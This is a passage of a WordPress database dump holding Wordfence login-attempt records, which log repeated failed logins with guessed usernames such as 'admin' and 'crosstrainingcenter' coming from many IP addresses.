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(99475, 1493121995.082455, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 704787301, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99476, 1493123094.155899, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1887842097, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(99488, 1493135802.634101, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 456761165, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99489, 1493135805.134268, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 456761165, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99490, 1493139944.462680, 1, 'loginFailInvalidUsername', 'CROSSTRAININGCENTER', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99491, 1493140445.710075, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3412935119, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99492, 1493140447.059792, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3412935119, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99493, 1493140510.656040, 1, 'loginFailValidUsername', 'admin', 1, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99494, 1493141070.160433, 1, 'loginFailInvalidUsername', 'superadmin', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99495, 1493141221.554832, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 702589396, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99496, 1493141825.286031, 1, 'loginFailInvalidUsername', 'administrator', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99497, 1493142142.883487, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2038180494, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99498, 1493142145.515538, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2038180494, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1');
INSERT INTO `wp_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(99499, 1493142764.802831, 1, 'loginFailInvalidUsername', 'webmaster', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99500, 1493143716.226437, 1, 'loginFailInvalidUsername', 'developer', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99501, 1493144688.263825, 1, 'loginFailInvalidUsername', 'CROSSTRAININGCENTER', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99502, 1493145635.018631, 1, 'loginFailValidUsername', 'admin', 1, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99503, 1493146602.638646, 1, 'loginFailInvalidUsername', 'superadmin', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99504, 1493146784.079208, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1572107495, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99505, 1493146785.916818, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1572107495, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99506, 1493146806.497838, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1742066674, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99507, 1493146807.972560, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1742066674, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99508, 1493147556.220274, 1, 'loginFailInvalidUsername', 'administrator', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99509, 1493148514.861478, 1, 'loginFailInvalidUsername', 'webmaster', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99510, 1493149452.434113, 1, 'loginFailInvalidUsername', 'developer', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99511, 1493150409.444203, 1, 'loginFailInvalidUsername', 'CROSSTRAININGCENTER', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99512, 1493151347.051127, 1, 'loginFailValidUsername', 'admin', 1, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99513, 1493152168.310479, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3017071845, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99514, 1493152292.718131, 1, 'loginFailInvalidUsername', 'superadmin', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99515, 1493152919.695548, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3419297473, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99516, 1493152921.620875, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3419297473, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99517, 1493153084.984605, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2991534124, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(99519, 1493153221.601201, 1, 'loginFailInvalidUsername', 'administrator', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99520, 1493153389.273865, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3321521735, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99521, 1493153390.729604, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3321521735, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99522, 1493154136.404367, 1, 'loginFailInvalidUsername', 'webmaster', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99523, 1493155087.247995, 1, 'loginFailInvalidUsername', 'developer', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99524, 1493156022.676183, 1, 'loginFailInvalidUsername', 'CROSSTRAININGCENTER', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99525, 1493158161.305216, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1940335041, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(99750, 1493304648.803691, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1768073243, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99751, 1493304649.900003, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1768073243, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99752, 1493305620.622049, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1396104586, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99753, 1493306311.558494, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1744766569, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99754, 1493306313.866048, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1744766569, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99755, 1493310765.866900, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3157204740, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99756, 1493310999.764996, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3382964636, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99757, 1493311525.004783, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1981193994, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99758, 1493311526.473118, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1981193994, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99759, 1493311668.792487, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 858203606, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99760, 1493311669.978423, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 858203606, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99761, 1493312452.408631, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 637050808, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99762, 1493314252.237300, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 658304580, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99763, 1493314253.536128, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 658304580, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99764, 1493314282.734749, 1, 'loginFailInvalidUsername', 'superadmin', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99765, 1493315296.488150, 1, 'loginFailInvalidUsername', 'administrator', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
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(99767, 1493315834.943224, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1892043861, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99768, 1493316187.617921, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 28968311, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99769, 1493316321.758569, 1, 'loginFailInvalidUsername', 'webmaster', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99770, 1493317334.039030, 1, 'loginFailInvalidUsername', 'developer', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99771, 1493318369.382876, 1, 'loginFailInvalidUsername', 'CROSSTRAININGCENTER', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99772, 1493318538.194433, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3149676724, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99773, 1493318539.424238, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3149676724, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99774, 1493319386.916395, 1, 'loginFailValidUsername', 'admin', 1, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99775, 1493320110.126423, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 621184356, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99776, 1493320389.367811, 1, 'loginFailInvalidUsername', 'superadmin', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99777, 1493321404.031064, 1, 'loginFailInvalidUsername', 'administrator', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99778, 1493322408.295330, 1, 'loginFailInvalidUsername', 'webmaster', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99779, 1493323425.866678, 1, 'loginFailInvalidUsername', 'developer', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99780, 1493324421.114489, 1, 'loginFailInvalidUsername', 'CROSSTRAININGCENTER', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99781, 1493324905.890788, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3158086909, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99782, 1493324907.051485, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3158086909, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99783, 1493325432.090606, 1, 'loginFailValidUsername', 'admin', 1, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99784, 1493326437.463267, 1, 'loginFailInvalidUsername', 'superadmin', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99785, 1493327446.169706, 1, 'loginFailInvalidUsername', 'administrator', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99786, 1493328325.705197, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3042965342, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99787, 1493328327.291990, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3042965342, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99788, 1493328437.046868, 1, 'loginFailInvalidUsername', 'webmaster', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99789, 1493329429.464384, 1, 'loginFailInvalidUsername', 'developer', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99790, 1493330452.647406, 1, 'loginFailInvalidUsername', 'CROSSTRAININGCENTER', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99791, 1493331446.408608, 1, 'loginFailValidUsername', 'admin', 1, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99792, 1493332454.674997, 1, 'loginFailInvalidUsername', 'superadmin', 0, 1589523921, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(99793, 1493338862.609162, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2037978292, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99794, 1493338865.146532, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2037978292, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99795, 1493339268.510022, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3033986906, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99796, 1493339270.207276, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3033986906, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99797, 1493340938.359187, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3412761521, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99798, 1493341348.235406, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1668664551, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99799, 1493341349.524190, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1668664551, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99800, 1493344007.284333, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3110329374, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1');
INSERT INTO `wp_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(99801, 1493344009.286757, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3110329374, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99802, 1493345413.495871, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2985971885, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99803, 1493345415.056605, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2985971885, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99804, 1493351968.903016, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 831636304, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99805, 1493352643.741791, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 702768013, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99806, 1493357447.103721, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 835452949, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99807, 1493357448.359869, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 835452949, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99808, 1493358147.643555, 1, 'loginFailValidUsername', 'julie', 2, 3562253049, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(99809, 1493358148.367695, 1, 'loginFailValidUsername', 'julie', 2, 3562253049, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(99810, 1493358149.025040, 1, 'loginFailInvalidUsername', 'julie pierrard', 0, 3562253049, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(99811, 1493358149.737459, 1, 'loginFailValidUsername', 'pablo', 3, 3562253049, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(99812, 1493358150.813316, 1, 'loginFailValidUsername', 'admin', 1, 3562253049, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(99813, 1493361722.804791, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 657683608, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99814, 1493361724.352773, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 657683608, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99815, 1493363740.702674, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2978051518, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99816, 1493363742.136053, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2978051518, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99817, 1493364254.670792, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1730630359, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99818, 1493364255.826627, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1730630359, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99819, 1493371651.314233, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1507036977, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99820, 1493371652.577088, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1507036977, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99821, 1493375030.450938, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1816093533, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99822, 1493375031.595245, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1816093533, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99823, 1493375157.830307, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 624429088, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99824, 1493375158.969483, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 624429088, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99825, 1493376484.681008, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1741416040, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99826, 1493376488.984570, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1741416040, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(99828, 1493385142.091386, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2970821136, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(99833, 1493389948.760266, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1333959350, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99834, 1493390429.844275, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1744105710, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99835, 1493390452.902341, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1744105710, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99836, 1493392355.430652, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3182244527, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99837, 1493392356.693479, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3182244527, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99838, 1493397549.913929, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1552456972, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99839, 1493397550.891528, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1552456972, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99840, 1493400611.429800, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3038516965, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99841, 1493400612.960393, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3038516965, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99842, 1493402564.466583, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 691605825, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99843, 1493402565.985790, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 691605825, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99844, 1493404013.136868, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2058018895, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99845, 1493404308.669808, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1598921172, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99846, 1493404309.820609, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1598921172, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99847, 1493404402.376977, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3183809589, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99848, 1493404403.849907, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3183809589, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99849, 1493406998.613961, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3097359640, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99850, 1493406999.998515, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3097359640, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99851, 1493408056.922278, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 628174571, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99852, 1493408057.933638, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 628174571, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99853, 1493409066.997027, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2588503380, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99854, 1493409068.125387, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2588503380, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99855, 1493410002.375944, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 608761984, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(100066, 1494267747.386054, 1, 'loginFailValidUsername', 'julie', 2, 2987835433, 'Mozilla/5.0 (Windows NT 5.1; WOW64; x64) AppleWebKit/532.83.36 (KHTML, like Gecko) Chrome/56.4.9528.4891 Safari/534.54 OPR/44.5.0341.5613'),
(100067, 1494273429.093639, 1, 'loginFailValidUsername', 'julie', 2, 781607262, 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_29_77) AppleWebKit/530.61.18 (KHTML, like Gecko) Chrome/55.1.5953.0680 Safari/532.00'),
(100068, 1494275333.276593, 1, 'loginFailValidUsername', 'julie', 2, 96794361, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
